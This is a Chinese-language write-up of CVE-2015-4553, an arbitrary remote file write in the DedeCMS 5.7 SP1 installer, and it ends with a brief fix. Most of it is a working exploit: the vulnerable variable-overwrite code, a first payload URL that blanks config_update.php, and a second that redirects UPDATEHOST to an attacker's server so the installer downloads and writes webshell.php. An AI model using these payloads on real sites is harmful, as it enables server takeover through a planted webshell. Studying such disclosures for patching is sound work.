CVE-2015-4553

DedeCMS 5.7 SP1 /install/index.php 任意远程文件写入

漏洞点:

变量覆盖

1
2
3
4
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v) ${$_k} = RunMagicQuotes($_v);
}

利用

1
2
3
4
5
6
7
8
9
10
require_once('../data/admin/config_update.php');
$rmurl = $UPDATEHOST."dedecms/demodata.{$s_lang}.txt";
echo $UPDATEHOST;
$sql_content = file_get_contents($rmurl);
//var_dump($rmurl);
$fp = fopen($INSTALL_DEMO_NAME,'w');
if(fwrite($fp,$sql_content))
echo '&nbsp; <font color="green">[√]</font> 存在(您可以选择安装进行体验)';
else
echo '&nbsp; <font color="red">[×]</font> 远程获取失败';
  1. 通过传参覆盖$s_lang变量和$INSTALL_DEMO_NAME变量

    payload1:http://127.0.0.1:99/install/index.php?s_lang=a&INSLOCKFILE=a&step=11&INSTALL_DEMO_NAME=../data/admin/config_update.php

    导致$rmurl变量覆盖为file_get_contents函数获取不到的资源

    $INSTALL_DEMO_NAME变量覆盖为../data/admin/config_update.php

    从而导致../data/admin/config_update.php文件为空文件,也就是删去了文件中的$UPDATEHOST变量,导致可以通过变量覆盖漏洞重写$UPDATEHOST为自己的vps服务器

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    <?php
    $content=file_get_contents("http://xxx.xxx.xxx.xxx/l.txt");
    var_dump($content);//The function returns the read data 或者在失败时返回 FALSE.这里构造一个不存在的资源,所以返回false
    $fp=fopen("qqq.php","w");
    var_dump(fwrite($fp,$content));//fwrite返回写入的字符数,出错时返回flase,这里返回int 0
    if(fwrite($fp,$content))
    {
    echo "success";
    }
    else
    {
    echo "fuck";
    }
    ?>
  2. 覆盖$UPDATEHOST为自己的vps,在vps上放上shell文件dedecms/demodata.a.txt,覆盖$INSTALL_DEMO_NAME为要写入的文件名

    因为fopen函数遇到不存在的函数名,会自动创建文件名。

    payload2:http://127.0.0.1:99/install/index.php?step=11&UPDATEHOST=http://xxx.xxx.xxx.xxx/&INSTALL_DEMO_NAME=webshell.php&s_lang=a&INSLOCKFILE=a

修复方案:将变量覆盖的代码移至文件最前面;或者通过define定义常量,是关键点无法被覆盖。